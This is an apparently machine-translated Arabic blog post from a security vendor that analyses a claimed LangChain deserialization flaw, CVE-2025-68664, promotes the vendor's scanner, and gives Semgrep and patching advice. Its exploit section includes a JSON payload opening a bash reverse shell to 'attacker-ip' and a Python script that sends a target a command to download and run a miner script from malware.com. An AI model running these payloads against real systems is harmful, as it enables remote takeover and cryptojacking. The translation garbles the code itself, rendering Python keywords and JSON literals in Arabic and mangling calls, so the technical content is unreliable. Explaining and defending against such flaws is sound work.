رأس القلم
كالي
ل AMD64
ماك
ل ARM64
ماك
قريباً
النوافذ
قريباً

الخيار النووي: الغوص المتعمق في حقن تسلسل سلسلة لانج تشين CVE-2025-68664

في الحرب الأمنية للذكاء الاصطناعي لعام 2025، فإن الكشف عن ثغرة في حقن تسلسل التسلسل اللغوي CVE-2025-68664 ضرب بقوة شحنة عميقة. إذا كان "حقن الموجه" يتعلق بـ "خداع" النموذج في طبقة التطبيق، فإن CVE-2025-68664 يتعلق بـ "امتلاك" الخادم في طبقة البنية التحتية.

وباعتبارها معيار التنسيق الفعلي للذكاء الاصطناعي العميل بحكم الأمر الواقع، فإن الوضع الأمني لإطار عمل لانغ تشين أمر بالغ الأهمية. تكشف الثغرة CVE-2025-68664 (CVSS 9.8، حرجة) عن عيب معماري أساسي في كيفية تعامل إطار العمل مع استعادة حالات الوكيل المعقدة: إخفاق التحكم في إنشاء كائن JSON في إنشاء كائن JSON.

يتخلى هذا المقال عن التقارير الإخبارية السطحية. من من منظور هندسي عكسي، سنقوم بتشريح نواة السلسلة اللغوية التعليمات البرمجية المصدرية، وتفكيك سلسلة الاستدعاء الكاملة من JSON إلى RCE، وتوفير قواعد أتمتة على مستوى المؤسسات للفرق الزرقاء.

تشريح نقطة الضعف عندما الحمولة يصبح باب خلفي

تكمن قوة LangChain في قابليتها للتركيب. لدعم استمرارية السلاسل والوكلاء، توفر LangChain دبد و الحمولة مما يسمح بتسلسل كائنات بايثون إلى JSON وإعادة تسلسلها إلى الذاكرة.

جذر CVE-2025-68664 موجود في langchain-core/load/load.py الوحدة النمطية. في الإصدارات التي سبقت تصحيح 2025، اعتمد المحمل على آلية تعيين لتحديد الفئات التي يمكن إنشاؤها. ومع ذلك، احتوت هذه الآلية على عيب منطقي: عند معالجة الكائنات المتسلسلة التي تحمل علامة المُنشئ فشل المحمل في التحقق بدقة من صحة مسار الوحدة النمطية في الهوية الحقل. وقد سمح ذلك للمهاجمين بتجاوز قائمة السماح وتحميل وحدات Python النمطية العامة العشوائية.

فشل المنطق على مستوى المصدر

في الإصدارات المتأثرة، كان منطق التحميل يبدو تقريبًا هكذا (مبسطًا للتوضيح):

بايثون

'# تمثيل مفاهيمي للمنطق الضعيف def load(obj, secrets_map=None): إذا كان isinstance(obj, dict) و"lc" في obj: # استخرج معرف الكائن، على سبيل المثال، ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")

    # VULNERABILITY: أثناء وجود التحقق، يفشل في حظر المكتبات القياسية
    # تمر حمولة المهاجم ["عملية فرعية"، "check_output"] من خلال
    إذا كان obj.get("type") = = "مُنشئ":
        إرجاع _load_constructor(lc_id, obj.get("kwargs"))

يستغل المهاجمون هذا الأمر من خلال صياغة lc_id مصفوفات للحث على استيرادليب لتحميل وحدات النظام الحساسة (مثل os, عملية فرعية, نظام) وتمرير الوسيطات الخبيثة إلى منشئيها.

التسليح صياغة حمولة RCE المثالية

بالنسبة لباحثي الفريق الأحمر، فإن فهم بناء الحمولة هو مفتاح التحقق. لا يتطلب CVE-2025-68664 تجاوزًا ثنائيًا معقدًا - مجرد مقتطف من JSON دقيق.

المرحلة 1: النموذج الأولي للاستغلال (PoC)

تبدو حمولة JSON القياسية المصممة لفرقعة الآلة الحاسبة أو الصدفة العكسية هكذا:

JSON

{"lc": 1، "النوع": "مُنشئ"، "معرف": ["عملية فرعية"، "check_output"]، "kwargs": {"args": ["bash"، "-c"، "bash -i >& /dev/tcp/attacker-ip/443 0>&1"]، "shell": خطأ } }

المرحلة 2: البرنامج النصي لاستغلال بايثون

في سيناريو واقعي، يمكن للمهاجمين حقن هذه الحمولة في نقطة نهاية "استيراد التكوين" في تطبيق ويب أو مخزن ذاكرة الوكيل.

بايثون

'استيراد طلبات الاستيراد استيراد json

التعمق في حقن تسلسل التسلسل اللغوي CVE-2025-68664

الهدف: خدمة وكيل الذكاء الاصطناعي التي تقبل ملفات تكوين LangChain

الرابط = "http://target-ai-service.com/api/v1/agent/import

الحمولة = { "lc": 1، "النوع": "مُنشئ"، "معرف": ["عملية فرعية"، "تشغيل"]، "kwargs": {"args": ["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x"]، "shell": صحيح، "التقاط_الإخراج": صحيح } }

إرسال البيانات المتسلسلة الخبيثة

يقوم الخادم بتشغيل RCE عند استدعاء langchain.load(json_data)

r = طلبات.post.post(url, json=payload, headers={"Content-Type": "application/json"}) طباعة(f"حالة الهجوم: {r.status_code_ar}")

الدفاع القائم على الذكاء الاصطناعي: تقنية Penligent للتدقيق العميق من Penligent

وعادةً ما تفشل ماسحات الويب التقليدية (مثل Nikto أو OWASP ZAP) في مواجهة CVE-2025-68664 لأنها لا تستطيع فهم التأثير الدلالي لحمولة JSON على وقت تشغيل Python. فهم يرون JSON صالحًا؛ بينما يرى الخادم تعليمات تنفيذ الأوامر.

هذا هو المكان Penligent.ai يوضح تفوقها التقني. تستخدم بنليجنت التدقيق التسلسلي الواعي بالدلالات:

  1. التحليل العكسي لـ AST لا يقوم وكلاء الذكاء الاصطناعي في Penligent بالتشويش الأعمى. فهي تقوم أولاً بتحليل AST (شجرة بناء الجملة المجردة) للتطبيق المستهدف لتحديد إصدار LangChain المحدد ومنطق التحميل. يحددون غير الآمن الحمولة في قاعدة الشيفرة.
  2. التحقق من صندوق الحماية الديناميكي: أثناء الكشف، يحاكي Penligent عملية التحميل في جهاز افتراضي مصغر معزول. يقوم بحقن كائنات متسلسلة تحتوي على "رموز كناري". إذا نجح الكائن في تشغيل طلب شبكة خارج النطاق (OOB) بنجاح (استعلام DNS)، فإن النظام يؤكد الثغرة الأمنية بدون أي نتائج إيجابية خاطئة.

بالنسبة لفرق الأمن في المؤسسات، يوفر Penligent دفاعًا كامل الطيف بدءًا من "التزام التعليمات البرمجية" إلى "مراقبة وقت التشغيل"، مما يضمن عدم تسلل تكوينات الوكيل الضارة إلى الإنتاج.

دليل الفريق الأزرق: الكشف والمعالجة

قبل نشر التصحيحات بالكامل، تحتاج الفرق الزرقاء إلى قواعد كشف لتحديد محاولات الهجوم.

1. قاعدة التحليل الساكن Semgrep

أضف القاعدة التالية إلى خط أنابيب CI/CD الخاص بك لفحص قاعدة التعليمات البرمجية الخاصة بك بحثًا عن المكالمات غير المحصنة:

YAML

'القواعد:

  • المُعرّف: أنماط التحميل غير الآمن للغة-غير آمن-لغة:
    • النمط: langchain.load.load.load(...)
    • نمط-لا: langchain.load.load.load(...، valid_namespaces=["langchain"]) رسالة: "تم اكتشاف إلغاء تهيئة غير آمن لـ LangChain. يسمح CVE-2025-68664 بـ RCE. قيّد المساحات_الأسماء الصالحة أو قم بالترقية فورًا." اللغات: [python] الخطورة: ERROR``

2. المعالجة الطارئة

الخطة أ (موصى بها): ترقية التبعيات

قامت LangChain بتصحيح هذا المنطق في langchain-core >= 0.3.15، حيث قدمت آلية قائمة سماح افتراضية صارمة.

الخطة ب (مؤقتة): تشديد الرموز

إذا لم تتمكن من الترقية على الفور، يجب عليك تقييد نطاق التحميل يدويًا لوظيفة التحميل:

بايثون

' من langchain_core.load.load استيراد تحميل

السماح بالتحميل بالقوة فقط من مساحة اسم سلسلة اللغة فقط

يرفض العملية الفرعية ونظام التشغيل ووحدات النظام الأخرى

safe_config = تحميل( unsafe_json_data، صالح_namespaces=["langchain"، "langchain_community"] )``

الخاتمة

ثغرة في حقن تسلسل التسلسل اللغوي CVE-2025-68664 يثبت مرة أخرى أنه لا يمكن بناء أمن البنية التحتية للذكاء الاصطناعي على "الثقة الضمنية". مع تطور تطبيقات LLM من "روبوتات الدردشة الآلية" إلى "الوكلاء المستقلين"، فإن سطح الهجوم الذي يستهدف التسلسل وتخزين الحالة واستدعاء الأدوات سينمو بشكل كبير.

يجب أن يدرك مهندسو الأمن أن وراء كل تحميل() وظيفة، قد يكون هناك قذيفة في الانتظار.

مراجع موثوقة

شارك المنشور:
منشورات ذات صلة
arArabic